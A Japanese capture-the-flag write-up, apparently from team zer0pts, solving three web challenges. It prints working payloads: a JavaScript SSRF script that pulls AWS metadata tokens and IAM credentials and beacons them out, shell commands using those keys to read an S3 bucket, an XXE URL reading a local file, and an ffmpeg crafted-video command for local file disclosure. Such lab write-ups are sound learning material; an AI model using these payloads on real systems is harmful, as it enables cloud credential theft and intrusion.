2/18 - 2/22という日程で開催された。zer0ptsで参加して4位。
[Web] Hacking Toolz
AWSのSSRF。
<script> (async () => { (new Image).src = 'a.php?start'; const token = await (await fetch( 'http://localhost/redir.php?url=http://169.254.169.254/latest/api/token', { headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' }, mode: 'cors', method: 'PUT' } )).text(); (new Image).src = 'a.php?' + token; const res = await (await fetch( 'http://localhost/redir.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials', { headers: { 'X-aws-ec2-metadata-token': token }, mode: 'cors' } )).text(); (new Image).src = 'a.php?' + encodeURIComponent(res); // => S3Role })() </script>
http://169.254.169.254/latest/meta-data/iam/security-credentials/S3Role
が返す AccessKeyId
や SecretAccessKey
などを使ってS3バケットを覗くとフラグが得られる。
$ export AWS_ACCESS_KEY_ID='...' $ export AWS_SECRET_ACCESS_KEY='...' $ export AWS_SESSION_TOKEN='...' $ aws s3 ls 2021-01-12 16:37:04 secretdocs $ aws s3 ls s3://secretdocs 2021-01-12 18:22:24 241 leviathan.txt $ aws s3 cp s3://secretdocs/leviathan.txt . download: s3://secretdocs/leviathan.txt to ./leviathan.txt $ cat leviathan.txt no sound, once made, is ever truly lost in electric clouds, all are safely trapped and with a touch, if we find them we can recapture those echoes of sad, forgotten wars long summers, and sweet autumns flag{cl0udy_with_a_chance_0f_flag5}
[Web] Send A Letter
XXE。
http://challenges.ctfd.io:30471/send_letter.php?letter=%3C?xml%20version=%221.0%22%20encoding=%22ISO-8859-1%22?%3E%3C!DOCTYPE%20hoge%20[%20%3C!ENTITY%20xxe%20SYSTEM%20%22/tmp/messages_outbound.txt%22%3E%20]%3E%3Cletter%3E%3Cfrom%3Ea%3C/from%3E%3Creturn_addr%3Eb%3C/return_addr%3E%3Cname%3E%26xxe;%3C/name%3E%3Caddr%3Ed%3C/addr%3E%3Cmessage%3Ee%3C/message%3E%3C/letter%3E
[Web] Thumbnail
ffmpegを使って安易に動画のサムネイルを作成しようとすると、細工した動画ファイルが来たときにローカルのファイルを読み出せてしまうというやつ。neex/ffmpeg-avi-m3u-xbinを使って python ffmpeg-avi-m3u-xbin/gen_xbin_avi.py file:///var/www/html/uploads/flag.txt exp.avi
で生成された動画をアップロードするとフラグが得られる。